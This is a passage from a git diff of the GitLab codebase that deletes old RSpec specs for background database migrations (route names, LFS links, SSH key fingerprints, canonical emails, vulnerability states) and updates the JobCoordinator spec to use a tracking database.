- route = routes.create!(path: namespace.path, name: 'Incorrect name', source_type: 'Namespace', source_id: namespace.id)
-
- described_class.new.perform(1, 5)
-
- expect(route.reload.name).to eq("The user's full name")
- end
-
- it 'updates the route name if it was nil match the namespace' do
- route = routes.create!(path: namespace.path, name: nil, source_type: 'Namespace', source_id: namespace.id)
-
- described_class.new.perform(1, 5)
-
- expect(route.reload.name).to eq("The user's full name")
- end
-
- it "doesn't update group routes" do
- route = routes.create!(path: 'group-path', name: 'Group name', source_type: 'Group', source_id: namespace.id)
-
- expect { described_class.new.perform(1, 5) }
- .not_to change { route.reload.name }
- end
-
- it "doesn't touch routes for namespaces out of range" do
- user_namespace = namespaces.create!(
- id: 6,
- owner_id: user.id,
- name: "Should be the user's name",
- path: user.username
- )
-
- expect { described_class.new.perform(1, 5) }
- .not_to change { user_namespace.reload.name }
- end
- end
-end
diff --git a/spec/lib/gitlab/background_migration/fix_user_project_route_names_spec.rb b/spec/lib/gitlab/background_migration/fix_user_project_route_names_spec.rb
deleted file mode 100644
index b4444df674e..00000000000
--- a/spec/lib/gitlab/background_migration/fix_user_project_route_names_spec.rb
+++ /dev/null
@@ -1,98 +0,0 @@
-# frozen_string_literal: true
-
-require 'spec_helper'
-
-RSpec.describe Gitlab::BackgroundMigration::FixUserProjectRouteNames, schema: 20181228175414 do
- let(:namespaces) { table(:namespaces) }
- let(:users) { table(:users) }
- let(:routes) { table(:routes) }
- let(:projects) { table(:projects) }
-
- let(:user) { users.create!(name: "The user's full name", projects_limit: 10, username: 'not-null', email: '1') }
-
- let(:namespace) do
- namespaces.create!(
- owner_id: user.id,
- name: "Should eventually be the user's name",
- path: user.username
- )
- end
-
- let(:project) do
- projects.create!(namespace_id: namespace.id, name: 'Project Name')
- end
-
- it "updates the route for a project if it did not match the user's name" do
- route = routes.create!(
- id: 1,
- path: "#{user.username}/#{project.path}",
- source_id: project.id,
- source_type: 'Project',
- name: 'Completely wrong'
- )
-
- described_class.new.perform(1, 5)
-
- expect(route.reload.name).to eq("The user's full name / Project Name")
- end
-
- it 'updates the route for a project if the name was nil' do
- route = routes.create!(
- id: 1,
- path: "#{user.username}/#{project.path}",
- source_id: project.id,
- source_type: 'Project',
- name: nil
- )
-
- described_class.new.perform(1, 5)
-
- expect(route.reload.name).to eq("The user's full name / Project Name")
- end
-
- it 'does not update routes that were are out of the range' do
- route = routes.create!(
- id: 6,
- path: "#{user.username}/#{project.path}",
- source_id: project.id,
- source_type: 'Project',
- name: 'Completely wrong'
- )
-
- expect { described_class.new.perform(1, 5) }
- .not_to change { route.reload.name }
- end
-
- it 'does not update routes for projects in groups owned by the user' do
- group = namespaces.create!(
- owner_id: user.id,
- name: 'A group',
- path: 'a-path',
- type: ''
- )
- project = projects.create!(namespace_id: group.id, name: 'Project Name')
- route = routes.create!(
- id: 1,
- path: "#{group.path}/#{project.path}",
- source_id: project.id,
- source_type: 'Project',
- name: 'Completely wrong'
- )
-
- expect { described_class.new.perform(1, 5) }
- .not_to change { route.reload.name }
- end
-
- it 'does not update routes for namespaces' do
- route = routes.create!(
- id: 1,
- path: namespace.path,
- source_id: namespace.id,
- source_type: 'Namespace',
- name: 'Completely wrong'
- )
-
- expect { described_class.new.perform(1, 5) }
- .not_to change { route.reload.name }
- end
-end
diff --git a/spec/lib/gitlab/background_migration/job_coordinator_spec.rb b/spec/lib/gitlab/background_migration/job_coordinator_spec.rb
index a0543ca9958..7a524d1489a 100644
--- a/spec/lib/gitlab/background_migration/job_coordinator_spec.rb
+++ b/spec/lib/gitlab/background_migration/job_coordinator_spec.rb
@@ -3,32 +3,22 @@
require 'spec_helper'
RSpec.describe Gitlab::BackgroundMigration::JobCoordinator do
- let(:database) { :main }
let(:worker_class) { BackgroundMigrationWorker }
- let(:coordinator) { described_class.new(database, worker_class) }
+ let(:tracking_database) { worker_class.tracking_database }
+ let(:coordinator) { described_class.new(worker_class) }
- describe '.for_database' do
+ describe '.for_tracking_database' do
it 'returns an executor with the correct worker class and database' do
- coordinator = described_class.for_database(database)
+ coordinator = described_class.for_tracking_database(tracking_database)
- expect(coordinator.database).to eq(database)
expect(coordinator.worker_class).to eq(worker_class)
end
- context 'when passed in as a string' do
- it 'retruns an executor with the correct worker class and database' do
- coordinator = described_class.for_database(database.to_s)
-
- expect(coordinator.database).to eq(database)
- expect(coordinator.worker_class).to eq(worker_class)
- end
- end
-
context 'when an invalid value is given' do
it 'raises an error' do
expect do
- described_class.for_database('notvalid')
- end.to raise_error(ArgumentError, "database must be one of [main], got 'notvalid'")
+ described_class.for_tracking_database('notvalid')
+ end.to raise_error(ArgumentError, /tracking_database must be one of/)
end
end
end
diff --git a/spec/lib/gitlab/background_migration/link_lfs_objects_projects_spec.rb b/spec/lib/gitlab/background_migration/link_lfs_objects_projects_spec.rb
deleted file mode 100644
index 64e8afedf52..00000000000
--- a/spec/lib/gitlab/background_migration/link_lfs_objects_projects_spec.rb
+++ /dev/null
@@ -1,113 +0,0 @@
-# frozen_string_literal: true
-
-require 'spec_helper'
-
-RSpec.describe Gitlab::BackgroundMigration::LinkLfsObjectsProjects, :migration, schema: 20181228175414 do
- let(:namespaces) { table(:namespaces) }
- let(:projects) { table(:projects) }
- let(:fork_networks) { table(:fork_networks) }
- let(:fork_network_members) { table(:fork_network_members) }
- let(:lfs_objects) { table(:lfs_objects) }
- let(:lfs_objects_projects) { table(:lfs_objects_projects) }
-
- let(:namespace) { namespaces.create!(name: 'GitLab', path: 'gitlab') }
-
- let(:fork_network) { fork_networks.create!(root_project_id: source_project.id) }
- let(:another_fork_network) { fork_networks.create!(root_project_id: another_source_project.id) }
-
- let(:source_project) { projects.create!(namespace_id: namespace.id) }
- let(:another_source_project) { projects.create!(namespace_id: namespace.id) }
- let(:project) { projects.create!(namespace_id: namespace.id) }
- let(:another_project) { projects.create!(namespace_id: namespace.id) }
- let(:partially_linked_project) { projects.create!(namespace_id: namespace.id) }
- let(:fully_linked_project) { projects.create!(namespace_id: namespace.id) }
-
- let(:lfs_object) { lfs_objects.create!(oid: 'abc123', size: 100) }
- let(:another_lfs_object) { lfs_objects.create!(oid: 'def456', size: 200) }
-
- let!(:source_project_lop_1) do
- lfs_objects_projects.create!(
- lfs_object_id: lfs_object.id,
- project_id: source_project.id
- )
- end
-
- let!(:source_project_lop_2) do
- lfs_objects_projects.create!(
- lfs_object_id: another_lfs_object.id,
- project_id: source_project.id
- )
- end
-
- let!(:another_source_project_lop_1) do
- lfs_objects_projects.create!(
- lfs_object_id: lfs_object.id,
- project_id: another_source_project.id
- )
- end
-
- let!(:another_source_project_lop_2) do
- lfs_objects_projects.create!(
- lfs_object_id: another_lfs_object.id,
- project_id: another_source_project.id
- )
- end
-
- before do
- stub_const("#{described_class}::BATCH_SIZE", 2)
-
- # Create links between projects
- fork_network_members.create!(fork_network_id: fork_network.id, project_id: source_project.id, forked_from_project_id: nil)
-
- [project, partially_linked_project, fully_linked_project].each do |p|
- fork_network_members.create!(
- fork_network_id: fork_network.id,
- project_id: p.id,
- forked_from_project_id: fork_network.root_project_id
- )
- end
-
- fork_network_members.create!(fork_network_id: another_fork_network.id, project_id: another_source_project.id, forked_from_project_id: nil)
- fork_network_members.create!(fork_network_id: another_fork_network.id, project_id: another_project.id, forked_from_project_id: another_fork_network.root_project_id)
-
- # Links LFS objects to some projects
- lfs_objects_projects.create!(lfs_object_id: lfs_object.id, project_id: fully_linked_project.id)
- lfs_objects_projects.create!(lfs_object_id: another_lfs_object.id, project_id: fully_linked_project.id)
- lfs_objects_projects.create!(lfs_object_id: lfs_object.id, project_id: partially_linked_project.id)
- end
-
- context 'when there are LFS objects to be linked' do
- it 'creates LfsObjectsProject records for forks based on the specified range of LfsObjectProject id' do
- expect_next_instance_of(Gitlab::BackgroundMigration::Logger) do |logger|
- expect(logger).to receive(:info).exactly(4).times
- end
-
- expect { subject.perform(source_project_lop_1.id, another_source_project_lop_2.id) }.to change { lfs_objects_projects.count }.by(5)
-
- expect(lfs_object_ids_for(project)).to match_array(lfs_object_ids_for(source_project))
- expect(lfs_object_ids_for(another_project)).to match_array(lfs_object_ids_for(another_source_project))
- expect(lfs_object_ids_for(partially_linked_project)).to match_array(lfs_object_ids_for(source_project))
-
- expect { subject.perform(source_project_lop_1.id, another_source_project_lop_2.id) }.not_to change { lfs_objects_projects.count }
- end
- end
-
- context 'when there are no LFS objects to be linked' do
- before do
- # Links LFS objects to all projects
- projects.all.each do |p|
- lfs_objects_projects.create!(lfs_object_id: lfs_object.id, project_id: p.id)
- lfs_objects_projects.create!(lfs_object_id: another_lfs_object.id, project_id: p.id)
- end
- end
-
- it 'does not create LfsObjectProject records' do
- expect { subject.perform(source_project_lop_1.id, another_source_project_lop_2.id) }
- .not_to change { lfs_objects_projects.count }
- end
- end
-
- def lfs_object_ids_for(project)
- lfs_objects_projects.where(project_id: project.id).pluck(:lfs_object_id)
- end
-end
diff --git a/spec/lib/gitlab/background_migration/migrate_fingerprint_sha256_within_keys_spec.rb b/spec/lib/gitlab/background_migration/migrate_fingerprint_sha256_within_keys_spec.rb
deleted file mode 100644
index 4287d6723cf..00000000000
--- a/spec/lib/gitlab/background_migration/migrate_fingerprint_sha256_within_keys_spec.rb
+++ /dev/null
@@ -1,93 +0,0 @@
-# frozen_string_literal: true
-
-require 'spec_helper'
-
-RSpec.describe Gitlab::BackgroundMigration::MigrateFingerprintSha256WithinKeys, schema: 20181228175414 do
- subject(:fingerprint_migrator) { described_class.new }
-
- let(:key_table) { table(:keys) }
-
- before do
- generate_fingerprints!
- end
-
- it 'correctly creates a sha256 fingerprint for a key' do
- key_1 = Key.find(1017)
- key_2 = Key.find(1027)
-
- expect(key_1.fingerprint_md5).to eq('ba:81:59:68:d7:6c:cd:02:02:bf:6a:9b:55:4e:af:d1')
- expect(key_1.fingerprint_sha256).to eq(nil)
-
- expect(key_2.fingerprint_md5).to eq('39:e3:64:a6:24:ea:45:a2:8c:55:2a:e9:4d:4f:1f:b4')
- expect(key_2.fingerprint_sha256).to eq(nil)
-
- query_count = ActiveRecord::QueryRecorder.new do
- fingerprint_migrator.perform(1, 10000)
- end.count
-
- expect(query_count).to eq(8)
-
- key_1.reload
- key_2.reload
-
- expect(key_1.fingerprint_md5).to eq('ba:81:59:68:d7:6c:cd:02:02:bf:6a:9b:55:4e:af:d1')
- expect(key_1.fingerprint_sha256).to eq('nUhzNyftwADy8AH3wFY31tAKs7HufskYTte2aXo/lCg')
-
- expect(key_2.fingerprint_md5).to eq('39:e3:64:a6:24:ea:45:a2:8c:55:2a:e9:4d:4f:1f:b4')
- expect(key_2.fingerprint_sha256).to eq('zMNbLekgdjtcgDv8VSC0z5lpdACMG3Q4PUoIz5+H2jM')
- end
-
- context 'with invalid keys' do
- before do
- key = Key.find(1017)
- # double space after "ssh-rsa" leads to a
- # OpenSSL::PKey::PKeyError in Net::SSH::KeyFactory.load_data_public_key
- key.update_column(:key, key.key.gsub('ssh-rsa ', 'ssh-rsa '))
- end
-
- it 'ignores errors and does not set the fingerprint' do
- fingerprint_migrator.perform(1, 10000)
-
- key_1 = Key.find(1017)
- key_2 = Key.find(1027)
-
- expect(key_1.fingerprint_sha256).to be_nil
- expect(key_2.fingerprint_sha256).not_to be_nil
- end
- end
-
- it 'migrates all keys' do
- expect(Key.where(fingerprint_sha256: nil).count).to eq(Key.all.count)
-
- fingerprint_migrator.perform(1, 10000)
-
- expect(Key.where(fingerprint_sha256: nil).count).to eq(0)
- end
-
- def generate_fingerprints!
- values = ""
- (1000..2000).to_a.each do |record|
- key = base_key_for(record)
- fingerprint = fingerprint_for(key)
-
- values += "(#{record}, #{record}, 'test-#{record}', '#{key}', '#{fingerprint}'),"
- end
-
- update_query = <<~SQL
- INSERT INTO keys ( id, user_id, title, key, fingerprint )
- VALUES
- #{values.chomp(",")};
- SQL
-
- ActiveRecord::Base.connection.execute(update_query)
- end
-
- def base_key_for(record)
- 'ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAIEAiPWx6WM4lhHNedGfBpPJNPpZ7yKu+dnn1SJejgt0000k6YjzGGphH2TUxwKzxcKDKKezwkpfnxPkSMkuEspGRt/aZZ9wa++Oi7Qkr8prgHc4soW6NUlfDzpvZK2H5E7eQaSeP3SAwGmQKUFHCddNaP0L+hM7zhFNzjFvpaMgJw0='
- .gsub("0000", "%04d" % (record - 1)) # generate arbitrary keys with placeholder 0000 within the key above
- end
-
- def fingerprint_for(key)
- Gitlab::SSHPublicKey.new(key).fingerprint("md5")
- end
-end
diff --git a/spec/lib/gitlab/background_migration/migrate_pages_metadata_spec.rb b/spec/lib/gitlab/background_migration/migrate_pages_metadata_spec.rb
deleted file mode 100644
index b6d93b9ff54..00000000000
--- a/spec/lib/gitlab/background_migration/migrate_pages_metadata_spec.rb
+++ /dev/null
@@ -1,36 +0,0 @@
-# frozen_string_literal: true
-
-require 'spec_helper'
-
-RSpec.describe Gitlab::BackgroundMigration::MigratePagesMetadata, schema: 20181228175414 do
- let(:projects) { table(:projects) }
-
- subject(:migrate_pages_metadata) { described_class.new }
-
- describe '#perform' do
- let(:namespaces) { table(:namespaces) }
- let(:builds) { table(:ci_builds) }
- let(:pages_metadata) { table(:project_pages_metadata) }
-
- it 'marks specified projects with successful pages deployment' do
- namespace = namespaces.create!(name: 'gitlab', path: 'gitlab-org')
- not_migrated_with_pages = projects.create!(namespace_id: namespace.id, name: 'Not Migrated With Pages')
- builds.create!(project_id: not_migrated_with_pages.id, type: 'GenericCommitStatus', status: 'success', stage: 'deploy', name: 'pages:deploy')
-
- migrated = projects.create!(namespace_id: namespace.id, name: 'Migrated')
- pages_metadata.create!(project_id: migrated.id, deployed: true)
-
- not_migrated_no_pages = projects.create!(namespace_id: namespace.id, name: 'Not Migrated No Pages')
- project_not_in_relation_scope = projects.create!(namespace_id: namespace.id, name: 'Other')
-
- ids = [not_migrated_no_pages.id, not_migrated_with_pages.id, migrated.id]
-
- migrate_pages_metadata.perform(ids.min, ids.max)
-
- expect(pages_metadata.find_by_project_id(not_migrated_with_pages.id).deployed).to eq(true)
- expect(pages_metadata.find_by_project_id(not_migrated_no_pages.id).deployed).to eq(false)
- expect(pages_metadata.find_by_project_id(migrated.id).deployed).to eq(true)
- expect(pages_metadata.find_by_project_id(project_not_in_relation_scope.id)).to be_nil
- end
- end
-end
diff --git a/spec/lib/gitlab/background_migration/migrate_to_hashed_storage_spec.rb b/spec/lib/gitlab/background_migration/migrate_to_hashed_storage_spec.rb
deleted file mode 100644
index 0f7bb06e830..00000000000
--- a/spec/lib/gitlab/background_migration/migrate_to_hashed_storage_spec.rb
+++ /dev/null
@@ -1,43 +0,0 @@
-# frozen_string_literal: true
-
-require 'spec_helper'
-
-# rubocop:disable RSpec/FactoriesInMigrationSpecs
-RSpec.describe Gitlab::BackgroundMigration::MigrateToHashedStorage, :sidekiq, :redis do
- let(:migrator) { Gitlab::HashedStorage::Migrator.new }
-
- subject(:background_migration) { described_class.new }
-
- describe '#perform' do
- let!(:project) { create(:project, :empty_repo, :legacy_storage) }
-
- context 'with pending rollback' do
- it 'aborts rollback operation' do
- Sidekiq::Testing.disable! do
- Sidekiq::Client.push(
- 'queue' => ::HashedStorage::ProjectRollbackWorker.queue,
- 'class' => ::HashedStorage::ProjectRollbackWorker,
- 'args' => [project.id]
- )
-
- expect { background_migration.perform }.to change { migrator.rollback_pending? }.from(true).to(false)
- end
- end
- end
-
- it 'enqueues legacy projects to be migrated' do
- Sidekiq::Testing.fake! do
- expect { background_migration.perform }.to change { Sidekiq::Queues[::HashedStorage::MigratorWorker.queue].size }.by(1)
- end
- end
-
- context 'when executing all jobs' do
- it 'migrates legacy projects' do
- Sidekiq::Testing.inline! do
- expect { background_migration.perform }.to change { project.reload.legacy_storage? }.from(true).to(false)
- end
- end
- end
- end
-end
-# rubocop:enable RSpec/FactoriesInMigrationSpecs
diff --git a/spec/lib/gitlab/background_migration/populate_canonical_emails_spec.rb b/spec/lib/gitlab/background_migration/populate_canonical_emails_spec.rb
deleted file mode 100644
index 944ee98ed4a..00000000000
--- a/spec/lib/gitlab/background_migration/populate_canonical_emails_spec.rb
+++ /dev/null
@@ -1,94 +0,0 @@
-# frozen_string_literal: true
-
-require 'spec_helper'
-
-RSpec.describe Gitlab::BackgroundMigration::PopulateCanonicalEmails, :migration, schema: 20181228175414 do
- let(:migration) { described_class.new }
-
- let_it_be(:users_table) { table(:users) }
- let_it_be(:user_canonical_emails_table) { table(:user_canonical_emails) }
-
- let_it_be(:users) { users_table.all }
- let_it_be(:user_canonical_emails) { user_canonical_emails_table.all }
-
- subject { migration.perform(1, 1) }
-
- describe 'gmail users' do
- using RSpec::Parameterized::TableSyntax
-
- where(:original_email, :expected_result) do
- 'legitimateuser@gmail.com' | 'legitimateuser@gmail.com'
- 'userwithplus+somestuff@gmail.com' | 'userwithplus@gmail.com'
- 'user.with.periods@gmail.com' | 'userwithperiods@gmail.com'
- 'user.with.periods.and.plus+someotherstuff@gmail.com' | 'userwithperiodsandplus@gmail.com'
- end
-
- with_them do
- it 'generates the correct canonical email' do
- create_user(email: original_email, id: 1)
-
- subject
-
- result = canonical_emails
- expect(result.count).to eq 1
- expect(result.first).to match({
- 'user_id' => 1,
- 'canonical_email' => expected_result
- })
- end
- end
- end
-
- describe 'non gmail.com domain users' do
- %w[
- legitimateuser@somedomain.com
- userwithplus+somestuff@other.com
- user.with.periods@gmail.org
- user.with.periods.and.plus+someotherstuff@orangmail.com
- ].each do |non_gmail_address|
- it 'does not generate a canonical email' do
- create_user(email: non_gmail_address, id: 1)
-
- subject
-
- expect(canonical_emails(user_id: 1).count).to eq 0
- end
- end
- end
-
- describe 'gracefully handles missing records' do
- specify { expect { subject }.not_to raise_error }
- end
-
- describe 'gracefully handles existing records, some of which may have an already-existing identical canonical_email field' do
- let_it_be(:user_one) { create_user(email: "example.user@gmail.com", id: 1) }
- let_it_be(:user_two) { create_user(email: "exampleuser@gmail.com", id: 2) }
- let_it_be(:user_email_one) { user_canonical_emails.create!(canonical_email: "exampleuser@gmail.com", user_id: user_one.id) }
-
- subject { migration.perform(1, 2) }
-
- it 'only creates one record' do
- subject
-
- expect(canonical_emails.count).not_to be_nil
- end
- end
-
- def create_user(attributes)
- default_attributes = {
- projects_limit: 0
- }
-
- users.create!(default_attributes.merge!(attributes))
- end
-
- def canonical_emails(user_id: nil)
- filter_by_id = user_id ? "WHERE user_id = #{user_id}" : ""
-
- ApplicationRecord.connection.execute <<~SQL
- SELECT canonical_email, user_id
- FROM user_canonical_emails
- #{filter_by_id};
- SQL
- end
-end
diff --git a/spec/lib/gitlab/background_migration/populate_dismissed_state_for_vulnerabilities_spec.rb b/spec/lib/gitlab/background_migration/populate_dismissed_state_for_vulnerabilities_spec.rb
deleted file mode 100644
index dc8c8c75b83..00000000000
--- a/spec/lib/gitlab/background_migration/populate_dismissed_state_for_vulnerabilities_spec.rb
+++ /dev/null
@@ -1,44 +0,0 @@
-# frozen_string_literal: true
-
-require 'spec_helper'
-
-RSpec.describe ::Gitlab::BackgroundMigration::PopulateDismissedStateForVulnerabilities, schema: 20181228175414 do
- let(:users) { table(:users) }
- let(:namespaces) { table(:namespaces) }
- let(:projects) { table(:projects) }
- let(:vulnerabilities) { table(:vulnerabilities) }
-
- let!(:namespace) { namespaces.create!(name: "foo", path: "bar") }
- let!(:user) { users.create!(name: 'John Doe', email: 'test@example.com', projects_limit: 5) }
- let!(:project) { projects.create!(namespace_id: namespace.id) }
- let!(:vulnerability_params) do
- {
- project_id: project.id,
- author_id: user.id,
- title: 'Vulnerability',
- severity: 5,
- confidence: 5,
- report_type: 5
- }
- end
-
- let!(:vulnerability_1) { vulnerabilities.create!(vulnerability_params.merge(state: 1)) }
- let!(:vulnerability_2) { vulnerabilities.create!(vulnerability_params.merge(state: 3)) }
-
- describe '#perform' do
- it 'changes state of vulnerability to dismissed' do
- subject.perform(vulnerability_1.id, vulnerability_2.id)
-
- expect(vulnerability_1.reload.state).to eq(2)
- expect(vulnerability_2.reload.state).to eq(2)
- end
-
- it 'populates missing dismissal information' do
- expect_next_instance_of(::Gitlab::BackgroundMigration::PopulateMissingVulnerabilityDismissalInformation) do |migration|
- expect(migration).to receive(:perform).with(vulnerability_1.id, vulnerability_2.id)
- end
-
- subject.perform(vulnerability_1.id, vulnerability_2.id)
- end
- end
-end
diff --git a/spec/lib/gitlab/background_migration/populate_has_vulnerabilities_spec.rb b/spec/lib/gitlab/background_migration/populate_has_vulnerabilities_spec.rb
deleted file mode 100644
index 6722321d5f7..00000000000
--- a/spec/lib/gitlab/background_migration/populate_has_vulnerabilities_spec.rb
+++ /dev/null
@@ -1,63 +0,0 @@
-# frozen_string_literal: true
-
-require 'spec_helper'
-
-RSpec.describe Gitlab::BackgroundMigration::PopulateHasVulnerabilities, schema: 20181228175414 do
- let(:users) { table(:users) }
- let(:namespaces) { table(:namespaces) }
- let(:projects) { table(:projects) }
- let(:project_settings) { table(:project_settings) }
- let(:vulnerabilities) { table(:vulnerabilities) }
-
- let(:user) { users.create!(name: 'test', email: 'test@example.com', projects_limit: 5) }
- let(:namespace) { namespaces.create!(name: 'gitlab', path: 'gitlab-org') }
- let(:vulnerability_base_params) { { title: 'title', state: 2, severity: 0, confidence: 5, report_type: 2, author_id: user.id } }
-
- let!(:project_1) { projects.create!(namespace_id: namespace.id, name: 'foo_1') }
- let!(:project_2) { projects.create!(namespace_id: namespace.id, name: 'foo_2') }
- let!(:project_3) { projects.create!(namespace_id: namespace.id, name: 'foo_3') }
-
- before do
- project_settings.create!(project_id: project_1.id)
- vulnerabilities.create!(vulnerability_base_params.merge(project_id: project_1.id))
- vulnerabilities.create!(vulnerability_base_params.merge(project_id: project_3.id))
-
- allow(::Gitlab::BackgroundMigration::Logger).to receive_messages(info: true, error: true)
- end
-
- describe '#perform' do
- it 'sets `has_vulnerabilities` attribute of project_settings' do
- expect { subject.perform(project_1.id, project_3.id) }.to change { project_settings.count }.from(1).to(2)
- .and change { project_settings.where(has_vulnerabilities: true).count }.from(0).to(2)
- end
-
- it 'writes info log message' do
- subject.perform(project_1.id, project_3.id)
-
- expect(::Gitlab::BackgroundMigration::Logger).to have_received(:info).with(migrator: described_class.name,
- message: 'Projects has been processed to populate `has_vulnerabilities` information',
- count: 2)
- end
-
- context 'when non-existing project_id is given' do
- it 'populates only for the existing projects' do
- expect { subject.perform(project_1.id, 0, project_3.id) }.to change { project_settings.count }.from(1).to(2)
- .and change { project_settings.where(has_vulnerabilities: true).count }.from(0).to(2)
- end
- end
-
- context 'when an error happens' do
- before do
- allow(described_class::ProjectSetting).to receive(:upsert_for).and_raise('foo')
- end
-
- it 'writes error log message' do
- subject.perform(project_1.id, project_3.id)
-
- expect(::Gitlab::BackgroundMigration::Logger).to have_received(:error).with(migrator: described_class.name,
- message: 'foo',
- project_ids: [project_1.id, project_3.id])
- end
- end
- end
-end
diff --git a/spec/lib/gitlab/background_migration/populate_merge_request_assignees_table_spec.rb b/spec/lib/gitlab/background_migration/populate_merge_request_assignees_table_spec.rb
deleted file mode 100644
index 1d8eed53553..00000000000
--- a/spec/lib/gitlab/background_migration/populate_merge_request_assignees_table_spec.rb
+++ /dev/null
@@ -1,70 +0,0 @@
-# frozen_string_literal: true
-
-require 'spec_helper'
-
-RSpec.describe Gitlab::BackgroundMigration::PopulateMergeRequestAssigneesTable, schema: 20181228175414 do
- let(:namespaces) { table(:namespaces) }
- let(:projects) { table(:projects) }
- let(:users) { table(:users) }
-
- let(:user) { users.create!(email: 'test@example.com', projects_limit: 100, username: 'test') }
- let(:user_2) { users.create!(email: 'test2@example.com', projects_limit: 100, username: 'test') }
- let(:user_3) { users.create!(email: 'test3@example.com', projects_limit: 100, username: 'test') }
-
- let(:namespace) { namespaces.create!(name: 'gitlab', path: 'gitlab-org') }
- let(:project) { projects.create!(namespace_id: namespace.id, name: 'foo') }
- let(:merge_requests) { table(:merge_requests) }
- let(:merge_request_assignees) { table(:merge_request_assignees) }
-
- def create_merge_request(id, params = {})
- params.merge!(id: id,
- target_project_id: project.id,
- target_branch: 'master',
- source_project_id: project.id,
- source_branch: 'mr name',
- title: "mr name#{id}")
-
- merge_requests.create!(params)
- end
-
- before do
- create_merge_request(2, assignee_id: user.id)
- create_merge_request(3, assignee_id: user_2.id)
- create_merge_request(4, assignee_id: user_3.id)
-
- # Test filtering MRs without assignees
- create_merge_request(5, assignee_id: nil)
- # Test filtering already migrated row
- merge_request_assignees.create!(merge_request_id: 2, user_id: user_3.id)
- end
-
- describe '#perform' do
- it 'creates merge_request_assignees rows according to merge_requests' do
- subject.perform(1, 4)
-
- rows = merge_request_assignees.order(:id).map { |row| row.attributes.slice('merge_request_id', 'user_id') }
- existing_rows = [
- { 'merge_request_id' => 2, 'user_id' => user_3.id }
- ]
- created_rows = [
- { 'merge_request_id' => 3, 'user_id' => user_2.id },
- { 'merge_request_id' => 4, 'user_id' => user_3.id }
- ]
- expected_rows = existing_rows + created_rows
-
- expect(rows.size).to eq(expected_rows.size)
- expected_rows.each do |expected_row|
- expect(rows).to include(expected_row)
- end
- end
- end
-
- describe '#perform_all_sync' do
- it 'executes peform for all merge requests in batches' do
- expect(subject).to receive(:perform).with(2, 4).ordered
- expect(subject).to receive(:perform).with(5, 5).ordered
-
- subject.perform_all_sync(batch_size: 3)
- end
- end
-end
diff --git a/spec/lib/gitlab/background_migration/populate_missing_vulnerability_dismissal_information_spec.rb b/spec/lib/gitlab/background_migration/populate_missing_vulnerability_dismissal_information_spec.rb
deleted file mode 100644
index 1c987d3876f..00000000000
--- a/spec/lib/gitlab/background_migration/populate_missing_vulnerability_dismissal_information_spec.rb
+++ /dev/null
@@ -1,65 +0,0 @@
-# frozen_string_literal: true
-
-require 'spec_helper'
-
-RSpec.describe Gitlab::BackgroundMigration::PopulateMissingVulnerabilityDismissalInformation, schema: 20181228175414 do
- let(:users) { table(:users) }
- let(:namespaces) { table(:namespaces) }
- let(:projects) { table(:projects) }
- let(:vulnerabilities) { table(:vulnerabilities) }
- let(:findings) { table(:vulnerability_occurrences) }
- let(:scanners) { table(:vulnerability_scanners) }
- let(:identifiers) { table(:vulnerability_identifiers) }
- let(:feedback) { table(:vulnerability_feedback) }
-
- let(:user) { users.create!(name: 'test', email: 'test@example.com', projects_limit: 5) }
- let(:namespace) { namespaces.create!(name: 'gitlab', path: 'gitlab-org') }
- let(:project) { projects.create!(namespace_id: namespace.id, name: 'foo') }
- let(:vulnerability_1) { vulnerabilities.create!(title: 'title', state: 2, severity: 0, confidence: 5, report_type: 2, project_id: project.id, author_id: user.id) }
- let(:vulnerability_2) { vulnerabilities.create!(title: 'title', state: 2, severity: 0, confidence: 5, report_type: 2, project_id: project.id, author_id: user.id) }
- let(:scanner) { scanners.create!(project_id: project.id, external_id: 'foo', name: 'bar') }
- let(:identifier) { identifiers.create!(project_id: project.id, fingerprint: 'foo', external_type: 'bar', external_id: 'zoo', name: 'identifier') }
-
- before do
- feedback.create!(feedback_type: 0,
- category: 'sast',
- project_fingerprint: '418291a26024a1445b23fe64de9380cdcdfd1fa8',
- project_id: project.id,
- author_id: user.id,
- created_at: Time.current)
-
- findings.create!(name: 'Finding',
- report_type: 'sast',
- project_fingerprint: Gitlab::Database::ShaAttribute.new.serialize('418291a26024a1445b23fe64de9380cdcdfd1fa8'),
- location_fingerprint: 'bar',
- severity: 1,
- confidence: 1,
- metadata_version: 1,
- raw_metadata: '',
- uuid: SecureRandom.uuid,
- project_id: project.id,
- vulnerability_id: vulnerability_1.id,
- scanner_id: scanner.id,
- primary_identifier_id: identifier.id)
-
- allow(::Gitlab::BackgroundMigration::Logger).to receive_messages(info: true, warn: true, error: true)
- end
-
- describe '#perform' do
- it 'updates the missing dismissal information of the vulnerability' do
- expect { subject.perform(vulnerability_1.id, vulnerability_2.id) }.to change { vulnerability_1.reload.dismissed_at }.from(nil)
- .and change { vulnerability_1.reload.dismissed_by_id }.from(nil).to(user.id)
- end
-
- it 'writes log messages' do
- subject.perform(vulnerability_1.id, vulnerability_2.id)
-
- expect(::Gitlab::BackgroundMigration::Logger).to have_received(:info).with(migrator: described_class.name,
- message: 'Dismissal information has been copied',
- count: 2)
- expect(::Gitlab::BackgroundMigration::Logger).to have_received(:warn).with(migrator: described_class.name,
- message: 'Could not update vulnerability!',
- vulnerability_id: vulnerability_2.id)
- end
- end
-end
diff --git a/spec/lib/gitlab/background_migration/populate_personal_snippet_statistics_spec.rb b/spec/lib/gitlab/background_migration/populate_personal_snippet_statistics_spec.rb
deleted file mode 100644
index f9628849dbf..00000000000
--- a/spec/lib/gitlab/background_migration/populate_personal_snippet_statistics_spec.rb
+++ /dev/null
@@ -1,141 +0,0 @@
-# frozen_string_literal: true
-
-require 'spec_helper'
-
-RSpec.describe Gitlab::BackgroundMigration::PopulatePersonalSnippetStatistics do
- let(:file_name) { 'file_name.rb' }
- let(:content) { 'content' }
- let(:snippets) { table(:snippets) }
- let(:snippet_repositories) { table(:snippet_repositories) }
- let(:users) { table(:users) }
- let(:namespaces) { table(:namespaces) }
- let(:snippet_statistics) { table(:snippet_statistics) }
- let(:namespace_statistics) { table(:namespace_root_storage_statistics) }
- let(:routes) { table(:routes) }
- let(:repo_size) { 123456 }
- let(:expected_repo_size) { repo_size.megabytes }
-
- let(:user1) { users.create!(id: 1, email: 'test@example.com', projects_limit: 100, username: 'test1') }
- let(:user2) { users.create!(id: 2, email: 'test2@example.com', projects_limit: 100, username: 'test2') }
- let!(:user1_namespace) { namespaces.create!(id: 1, name: 'user1', path: 'user1', owner_id: user1.id) }
- let!(:user2_namespace) { namespaces.create!(id: 2, name: 'user2', path: 'user2', owner_id: user2.id) }
